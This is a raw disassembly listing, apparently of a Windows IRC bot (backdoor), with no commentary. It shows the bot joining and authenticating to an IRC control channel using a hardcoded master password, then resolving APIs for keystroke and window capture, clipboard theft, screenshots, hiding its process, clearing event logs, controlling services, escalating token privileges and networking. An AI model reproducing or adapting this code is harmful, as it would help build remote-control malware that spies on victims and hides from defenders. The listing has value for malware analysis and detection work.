mov ds:dword_455F14[eax], ebx
call sub_41E710
imul eax, 234h
pop ecx
pop ecx
mov byte ptr ds:dword_455D00[eax], bl
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_40983D: ; CODE XREF: sub_401C87+3DAAj
; sub_401C87+3DBFj
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40987C
call sub_40B854
cmp eax, ebx
jle short loc_409864
push eax
push offset unk_443400
jmp loc_40755A
; ---------------------------------------------------------------------------
loc_409864: ; CODE XREF: sub_401C87+7BD0j
push offset unk_443428
loc_409869: ; CODE XREF: sub_401C87+24B3j
; sub_401C87+24D2j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
pop ecx
pop ecx
jmp loc_407569
; ---------------------------------------------------------------------------
loc_40987C: ; CODE XREF: sub_401C87+7BC7j
mov eax, [ebp+var_A4]
lea esi, [eax+1]
jmp short loc_4098F3
; ---------------------------------------------------------------------------
loc_409887: ; CODE XREF: sub_401C87+7C6Fj
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_4076C4
push edi
call sub_41E710
push eax
call sub_40B7CC
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+var_2C0]
jz short loc_4098B6
push offset unk_443450
jmp short loc_4098BB
; ---------------------------------------------------------------------------
loc_4098B6: ; CODE XREF: sub_401C87+7C26j
push offset unk_443474
loc_4098BB: ; CODE XREF: sub_401C87+7C2Dj
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4098E5
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_4098E5: ; CODE XREF: sub_401C87+7C40j
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
pop ecx
inc esi
loc_4098F3: ; CODE XREF: sub_401C87+7BFEj
cmp esi, 20h
jb short loc_409887
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_4098FD: ; CODE XREF: sub_401C87+3D80j
; sub_401C87+3D95j
cmp [ebp+var_C], ebx
jz loc_409A67
push [ebp+arg_10]
push [ebp+var_C]
call sub_41EBB0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409A67
push esi
push offset aS_26 ; "%s\r\n"
push [ebp+arg_4]
call sub_409C2F
push esi
push offset dword_4434A8
jmp loc_408D96
; ---------------------------------------------------------------------------
loc_409936: ; CODE XREF: sub_401C87+3D56j
; sub_401C87+3D6Bj
push [ebp+arg_10]
push offset dword_4434C4
push [ebp+arg_4]
call sub_409C2F
push [ebp+arg_10]
push offset unk_4434D0
jmp loc_408D96
; ---------------------------------------------------------------------------
loc_409953: ; CODE XREF: sub_401C87+3D2Cj
; sub_401C87+3D41j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS_3 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409C2F
push [ebp+arg_10]
push offset unk_443504
jmp loc_408C69
; ---------------------------------------------------------------------------
loc_409977: ; CODE XREF: sub_401C87+3D02j
; sub_401C87+3D17j
push [ebp+arg_10]
push offset aNickS_8 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409C2F
push [ebp+arg_10]
push offset unk_443534
jmp loc_408D96
; ---------------------------------------------------------------------------
loc_409994: ; CODE XREF: sub_401C87+316Dj
; sub_401C87+3182j
push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409C2F
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_443570
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
push [ebp+arg_10]
call sub_41E710
add esp, 1Ch
loc_4099CC: ; CODE XREF: sub_401C87+7D91j
push eax
call ds:dword_4F534C ; Sleep
loc_4099D3: ; CODE XREF: sub_401C87+2A9Bj
xor eax, eax
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_4099DA: ; CODE XREF: sub_401C87+3143j
; sub_401C87+3158j
push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409C2F
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_4435AC
push eax
call sub_41EA60
lea eax, [ebp+var_2C0]
push eax
call sub_415A3C
push [ebp+arg_10]
call sub_41E710
add esp, 1Ch
imul eax, 3E8h
jmp short loc_4099CC
; ---------------------------------------------------------------------------
loc_409A1A: ; CODE XREF: sub_401C87+E79j
; sub_401C87+E8Ej
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push ds:dword_43F0A0
push eax
call sub_40B38F
lea eax, [ebp+var_338]
push eax
push offset aNickS_9 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409C2F
lea eax, [ebp+var_338]
push eax
push offset unk_4435E0
call sub_415AB0
loc_409A64: ; CODE XREF: sub_401C87+5322j
add esp, 24h
loc_409A67: ; CODE XREF: sub_401C87+624j
; sub_401C87+630j ...
mov eax, [ebp+arg_24]
jmp loc_409C2A
; ---------------------------------------------------------------------------
loc_409A6F: ; CODE XREF: sub_401C87+A73j
; sub_401C87+A88j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_4076C4
cmp [ebp+var_A8], ebx
jnz loc_4076C4
push offset asc_443604 ; "!~"
push [ebp+var_90]
call sub_41F870
mov esi, eax
push offset dword_4E2E80
push ebx
inc esi
call sub_41F870
push (offset asc_443604+2)
push eax
call sub_41F870
push [ebp+arg_10]
mov edi, eax
push offset a3zef ; "3zef"
call sub_41F7E0
add esp, 20h
test eax, eax
jz short loc_409B17
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409C2F
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409C2F
push edi
push esi
push offset unk_44365C
loc_409B03: ; CODE XREF: sub_401C87+7EE9j
lea eax, [ebp+var_2C0]
push eax
call sub_41EA60
add esp, 30h
jmp loc_402593
; ---------------------------------------------------------------------------
loc_409B17: ; CODE XREF: sub_401C87+7E43j
mov [ebp+arg_24], ebx
loc_409B1A: ; CODE XREF: sub_401C87+7EB0j
mov eax, [ebp+arg_24]
push edi
push ds:off_43F158[eax]
call sub_40B9E4
pop ecx
test eax, eax
pop ecx
jnz short loc_409B72
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_409B1A
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409C2F
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409C2F
push edi
push esi
push offset unk_4436DC
jmp short loc_409B03
; ---------------------------------------------------------------------------
loc_409B72: ; CODE XREF: sub_401C87+7EA6j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409B77: ; CODE XREF: sub_401C87+7F11j
cmp [edi], bl
jnz short loc_409B8E
push [ebp+arg_10]
push offset a3zef ; "3zef"
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_409B9F
loc_409B8E: ; CODE XREF: sub_401C87+7EF2j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409B77
jmp loc_4076C4
; ---------------------------------------------------------------------------
loc_409B9F: ; CODE XREF: sub_401C87+7F05j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E00]
push 7Fh
push eax
push esi
call sub_41E510
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_409BD6
push ebx
push [ebp+var_4]
push offset unk_443708
push [ebp+var_88]
push [ebp+arg_4]
call sub_409C75
add esp, 14h
loc_409BD6: ; CODE XREF: sub_401C87+7F33j
lea eax, [ebp+var_C0]
push eax
push offset unk_443728
jmp loc_40220D
; ---------------------------------------------------------------------------
loc_409BE7: ; CODE XREF: sub_401C87+202j
; sub_401C87+217j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409C2F
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409C2F
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS_4 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409C2F
add esp, 2Ch
mov ds:dword_4E2E70, edi
loc_409C28: ; CODE XREF: sub_401C87+E9j
; sub_401C87+F5j ...
mov eax, edi
loc_409C2A: ; CODE XREF: sub_401C87+2A5Aj
; sub_401C87+2A7Cj ...
pop edi
pop esi
pop ebx
leave
retn
sub_401C87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C2F proc near ; CODE XREF: sub_401B0B+3Dp
; sub_401C87+1BFp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41F9C0
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
leave
retn
sub_409C2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409C75 proc near ; CODE XREF: sub_401C87+4F3p
; sub_401C87+132Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice_3 ; "NOTICE"
jnz short loc_409C90
mov edi, offset aPrivmsg_2 ; "PRIVMSG"
loc_409C90: ; CODE XREF: sub_409C75+14j
push edi
call sub_41BC70
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41BC70
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_12 ; "%s"
push esi
push eax
call sub_41EC30
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_41EA60
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409D0E
push 7D0h
call ds:dword_4F534C ; Sleep
locret_409D0E: ; CODE XREF: sub_409C75+8Cj
leave
retn
sub_409C75 endp
; =============== S U B R O U T I N E =======================================
sub_409D10 proc near ; CODE XREF: sub_401404+4Bp
push ebx
push ebp
mov ebp, ds:off_4F5370
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; sub_50AF8C
mov esi, ds:off_4F5390
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409E30
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; sub_50B076
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_4E3074, eax
call esi ; sub_50B076
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_4E2FE8, eax
call esi ; sub_50B076
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_4E2FCC, eax
call esi ; sub_50B076
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_4E2EDC, eax
call esi ; sub_50B076
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_4E2E88, eax
call esi ; sub_50B076
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_4E2EB8, eax
call esi ; sub_50B076
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_4E2F30, eax
call esi ; sub_50B076
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_4E3028, eax
call esi ; sub_50B076
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:off_4E3080, eax
call esi ; sub_50B076
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_4E2EE8, eax
call esi ; sub_50B076
cmp ds:dword_4E3074, ebx
mov ds:dword_4E2ED0, eax
jz short loc_409E0E
cmp ds:dword_4E2FE8, ebx
jz short loc_409E0E
cmp ds:dword_4E2FCC, ebx
jz short loc_409E0E
cmp ds:dword_4E2EDC, ebx
jz short loc_409E0E
cmp ds:dword_4E2EB8, ebx
jz short loc_409E0E
cmp ds:dword_4E2F30, ebx
jz short loc_409E0E
cmp ds:dword_4E3028, ebx
jz short loc_409E0E
cmp ds:off_4E3080, ebx
jz short loc_409E0E
cmp ds:dword_4E2EE8, ebx
jz short loc_409E0E
cmp eax, ebx
jnz short loc_409E18
loc_409E0E: ; CODE XREF: sub_409D10+B8j
; sub_409D10+C0j ...
mov ds:dword_4E3084, 1
loc_409E18: ; CODE XREF: sub_409D10+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; sub_50B076
cmp eax, ebx
mov ds:dword_4E3000, eax
jz short loc_409E45
push 1
push ebx
call eax
jmp short loc_409E45
; ---------------------------------------------------------------------------
loc_409E30: ; CODE XREF: sub_409D10+1Dj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E3088, eax
mov ds:dword_4E3084, 1
loc_409E45: ; CODE XREF: sub_409D10+117j
; sub_409D10+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:off_4F538C
mov edi, eax
cmp edi, ebx
jz loc_409F5A
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; sub_50B076
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_4E3024, eax
call esi ; sub_50B076
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_4E2FD4, eax
call esi ; sub_50B076
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_4E2F68, eax
call esi ; sub_50B076
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_4E3078, eax
call esi ; sub_50B076
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_4E2F98, eax
call esi ; sub_50B076
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_4E2FB8, eax
call esi ; sub_50B076
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_4E301C, eax
call esi ; sub_50B076
cmp ds:dword_4E3024, ebx
mov ds:dword_4E2F08, eax
jz short loc_409EFE
cmp ds:dword_4E2FD4, ebx
jz short loc_409EFE
cmp ds:dword_4E2F68, ebx
jz short loc_409EFE
cmp ds:dword_4E3078, ebx
jz short loc_409EFE
cmp ds:dword_4E2F98, ebx
jz short loc_409EFE
cmp ds:dword_4E2FB8, ebx
jz short loc_409EFE
cmp ds:dword_4E301C, ebx
jz short loc_409EFE
cmp eax, ebx
jnz short loc_409F08
loc_409EFE: ; CODE XREF: sub_409D10+1B8j
; sub_409D10+1C0j ...
mov ds:dword_4E308C, 1
loc_409F08: ; CODE XREF: sub_409D10+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; sub_50B076
push offset aGetkeystate ; "GetKeyState"
push edi
mov ds:dword_4E2F94, eax
call esi ; sub_50B076
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov ds:dword_4E2E9C, eax
call esi ; sub_50B076
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov ds:dword_4E2F64, eax
call esi ; sub_50B076
cmp ds:dword_4E2F94, ebx
mov ds:dword_4E2F4C, eax
jz short loc_409F65
cmp ds:dword_4E2E9C, ebx
jz short loc_409F65
cmp ds:dword_4E2F64, ebx
jz short loc_409F65
cmp eax, ebx
jnz short loc_409F6F
jmp short loc_409F65
; ---------------------------------------------------------------------------
loc_409F5A: ; CODE XREF: sub_409D10+144j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E3090, eax
loc_409F65: ; CODE XREF: sub_409D10+232j
; sub_409D10+23Aj ...
mov ds:dword_4E308C, 1
loc_409F6F: ; CODE XREF: sub_409D10+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; sub_50AF8C
mov edi, eax
cmp edi, ebx
jz loc_40A128
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; sub_50B076
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_4E3038, eax
call esi ; sub_50B076
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_4E2F7C, eax
call esi ; sub_50B076
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_4E2FEC, eax
call esi ; sub_50B076
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_4E2EC8, eax
call esi ; sub_50B076
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_4E2F2C, eax
call esi ; sub_50B076
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov ds:dword_4E2FA4, eax
call esi ; sub_50B076
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov ds:dword_4E2F48, eax
call esi ; sub_50B076
cmp ds:dword_4E3038, ebx
mov ds:dword_4E2F58, eax
jz short loc_40A018
cmp ds:dword_4E2F7C, ebx
jz short loc_40A018
cmp ds:dword_4E2FEC, ebx
jz short loc_40A018
cmp ds:dword_4E2EC8, ebx
jz short loc_40A018
cmp ds:dword_4E2F2C, ebx
jz short loc_40A018
cmp ds:dword_4E2FA4, ebx
jnz short loc_40A022
loc_40A018: ; CODE XREF: sub_409D10+2DEj
; sub_409D10+2E6j ...
mov ds:dword_4E3094, 1
loc_40A022: ; CODE XREF: sub_409D10+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; sub_50B076
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_4E2FAC, eax
call esi ; sub_50B076
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_4E2F84, eax
call esi ; sub_50B076
cmp ds:dword_4E2FAC, ebx
mov ds:dword_4E3034, eax
jz short loc_40A05D
cmp ds:dword_4E2F84, ebx
jz short loc_40A05D
cmp eax, ebx
jnz short loc_40A067
loc_40A05D: ; CODE XREF: sub_409D10+33Fj
; sub_409D10+347j
mov ds:dword_4E3094, 1
loc_40A067: ; CODE XREF: sub_409D10+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; sub_50B076
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_4E2FBC, eax
call esi ; sub_50B076
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_4E2EA4, eax
call esi ; sub_50B076
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_4E2EAC, eax
call esi ; sub_50B076
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_4E2F10, eax
call esi ; sub_50B076
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_4E2F14, eax
call esi ; sub_50B076
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_4E2EC0, eax
call esi ; sub_50B076
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_4E2F88, eax
call esi ; sub_50B076
cmp ds:dword_4E2FBC, ebx
mov ds:dword_4E2EB0, eax
jz short loc_40A10B
cmp ds:dword_4E2EA4, ebx
jz short loc_40A10B
cmp ds:dword_4E2EAC, ebx
jz short loc_40A10B
cmp ds:dword_4E2F10, ebx
jz short loc_40A10B
cmp ds:dword_4E2F14, ebx
jz short loc_40A10B
cmp ds:dword_4E2EC0, ebx
jz short loc_40A10B
cmp ds:dword_4E2F88, ebx
jz short loc_40A10B
cmp eax, ebx
jnz short loc_40A115
loc_40A10B: ; CODE XREF: sub_409D10+3C5j
; sub_409D10+3CDj ...
mov ds:dword_4E3094, 1
loc_40A115: ; CODE XREF: sub_409D10+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; sub_50B076
cmp eax, ebx
mov ds:dword_4E2EA8, eax
jnz short loc_40A13D
jmp short loc_40A133
; ---------------------------------------------------------------------------
loc_40A128: ; CODE XREF: sub_409D10+26Aj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E3098, eax
loc_40A133: ; CODE XREF: sub_409D10+416j
mov ds:dword_4E3094, 1
loc_40A13D: ; CODE XREF: sub_409D10+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; sub_50AF8C
mov edi, eax
cmp edi, ebx
jz loc_40A209
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; sub_50B076
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_4E2FB4, eax
call esi ; sub_50B076
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_4E300C, eax
call esi ; sub_50B076
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_4E3014, eax
call esi ; sub_50B076
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_4E2FD0, eax
call esi ; sub_50B076
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_4E2EEC, eax
call esi ; sub_50B076
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_4E2E98, eax
call esi ; sub_50B076
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_4E3010, eax
call esi ; sub_50B076
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_4E2E84, eax
call esi ; sub_50B076
cmp ds:dword_4E2FB4, ebx
mov ds:dword_4E2F24, eax
jz short loc_40A214
cmp ds:dword_4E300C, ebx
jz short loc_40A214
cmp ds:dword_4E3014, ebx
jz short loc_40A214
cmp ds:dword_4E2FD0, ebx
jz short loc_40A214
cmp ds:dword_4E2EEC, ebx
jz short loc_40A214
cmp ds:dword_4E2E98, ebx
jz short loc_40A214
cmp ds:dword_4E3010, ebx
jz short loc_40A214
cmp ds:dword_4E2E84, ebx
jz short loc_40A214
cmp eax, ebx
jnz short loc_40A21E
jmp short loc_40A214
; ---------------------------------------------------------------------------
loc_40A209: ; CODE XREF: sub_409D10+438j
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30A0, eax
loc_40A214: ; CODE XREF: sub_409D10+4B9j
; sub_409D10+4C1j ...
mov ds:dword_4E309C, 1
loc_40A21E: ; CODE XREF: sub_409D10+4F5j
mov ebp, ds:off_4F538C
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz loc_40A4DA
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; sub_50B076
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_4E2F38, eax
call esi ; sub_50B076
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_4E306C, eax
call esi ; sub_50B076
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_4E2ED8, eax
call esi ; sub_50B076
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_4E2EB4, eax
call esi ; sub_50B076
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_4E2F74, eax
call esi ; sub_50B076
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_4E2F5C, eax
call esi ; sub_50B076
push offset aSocket ; "socket"
push edi
mov ds:dword_4E2F20, eax
call esi ; sub_50B076
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_4E3048, eax
call esi ; sub_50B076
push offset aConnect ; "connect"
push edi
mov ds:dword_4E3064, eax
call esi ; sub_50B076
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_4E2F70, eax
call esi ; sub_50B076
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_4E3054, eax
call esi ; sub_50B076
push offset aHtons ; "htons"
push edi
mov ds:dword_4E3008, eax
call esi ; sub_50B076
push offset aHtonl ; "htonl"
push edi
mov ds:dword_4E2FC8, eax
call esi ; sub_50B076
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_4E2FC4, eax
call esi ; sub_50B076
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_4E2EF8, eax
call esi ; sub_50B076
push offset aSend_0 ; "send"
push edi
mov ds:dword_4E2EF0, eax
call esi ; sub_50B076
push offset aSendto ; "sendto"
push edi
mov ds:dword_4E3018, eax
call esi ; sub_50B076
push offset aRecv ; "recv"
push edi
mov ds:dword_4E302C, eax
call esi ; sub_50B076
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_4E2FE0, eax
call esi ; sub_50B076
mov ds:dword_4E2FA0, eax
push offset aBind ; "bind"
push edi
call esi ; sub_50B076
push offset aSelect ; "select"
push edi
mov ds:dword_4E2FF4, eax
call esi ; sub_50B076
push offset aListen ; "listen"
push edi
mov ds:dword_4E2FB0, eax
call esi ; sub_50B076
push offset aAccept ; "accept"
push edi
mov ds:dword_4E2FF0, eax
call esi ; sub_50B076
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_4E305C, eax
call esi ; sub_50B076
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_4E2FA8, eax
call esi ; sub_50B076
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_4E2F6C, eax
call esi ; sub_50B076
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_4E2FDC, eax
call esi ; sub_50B076
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_4E304C, eax
call esi ; sub_50B076
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_4E2F80, eax
call esi ; sub_50B076
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_4E2F1C, eax
call esi ; sub_50B076
cmp ds:dword_4E2F38, ebx
mov ds:dword_4E3060, eax
jz loc_40A4E5
cmp ds:dword_4E306C, ebx
jz loc_40A4E5
cmp ds:dword_4E2ED8, ebx
jz loc_40A4E5
cmp ds:dword_4E2F74, ebx
jz loc_40A4E5
cmp ds:dword_4E2F5C, ebx
jz loc_40A4E5
cmp ds:dword_4E2F20, ebx
jz loc_40A4E5
cmp ds:dword_4E3048, ebx
jz loc_40A4E5
cmp ds:dword_4E3064, ebx
jz loc_40A4E5
cmp ds:dword_4E2F70, ebx
jz loc_40A4E5
cmp ds:dword_4E3054, ebx
jz loc_40A4E5
cmp ds:dword_4E3008, ebx
jz loc_40A4E5
cmp ds:dword_4E2FC8, ebx
jz loc_40A4E5
cmp ds:dword_4E2FC4, ebx
jz loc_40A4E5
cmp ds:dword_4E2EF8, ebx
jz short loc_40A4E5
cmp ds:dword_4E3018, ebx
jz short loc_40A4E5
cmp ds:dword_4E302C, ebx
jz short loc_40A4E5
cmp ds:dword_4E2FE0, ebx
jz short loc_40A4E5
cmp ds:dword_4E2FA0, ebx
jz short loc_40A4E5
cmp ds:dword_4E2FF4, ebx
jz short loc_40A4E5
cmp ds:dword_4E2FB0, ebx
jz short loc_40A4E5
cmp ds:dword_4E2FF0, ebx
jz short loc_40A4E5
cmp ds:dword_4E305C, ebx
jz short loc_40A4E5
cmp ds:dword_4E2FA8, ebx
jz short loc_40A4E5
cmp ds:dword_4E2F6C, ebx
jz short loc_40A4E5
cmp ds:dword_4E2FDC, ebx
jz short loc_40A4E5
cmp ds:dword_4E304C, ebx
jz short loc_40A4E5
cmp ds:dword_4E2F80, ebx
jz short loc_40A4E5
cmp eax, ebx
jnz short loc_40A4EF
jmp short loc_40A4E5
; ---------------------------------------------------------------------------
loc_40A4DA: ; CODE XREF: sub_409D10+51Fj
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ds:dword_4E30A8, eax
loc_40A4E5: ; CODE XREF: sub_409D10+6BEj
; sub_409D10+6CAj ...
mov ds:dword_4E30A4, 1
loc_40A4EF: ; CODE XREF: sub_409D10+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; sub_50AE83
mov edi, eax
cmp edi, ebx
jz loc_40A5F4
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; sub_50B076
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_4E2F04, eax
call esi ; sub_50B076
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_4E2E8C, eax
call esi ; sub_50B076
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_4E2F90, eax
call esi ; sub_50B076
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_4E2F3C, eax
call esi ; sub_50B076
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_4E2F9C, eax
call esi ; sub_50B076
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_4E2F60, eax
call esi ; sub_50B076
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_4E2ECC, eax
call esi ; sub_50B076
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_4E2EC4, eax
call esi ; sub_50B076
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_4E2ED4, eax
call esi ; sub_50B076
cmp ds:dword_4E2F04, ebx
mov ecx, ds:dword_4E2F60
mov ds:dword_4E2FFC, eax
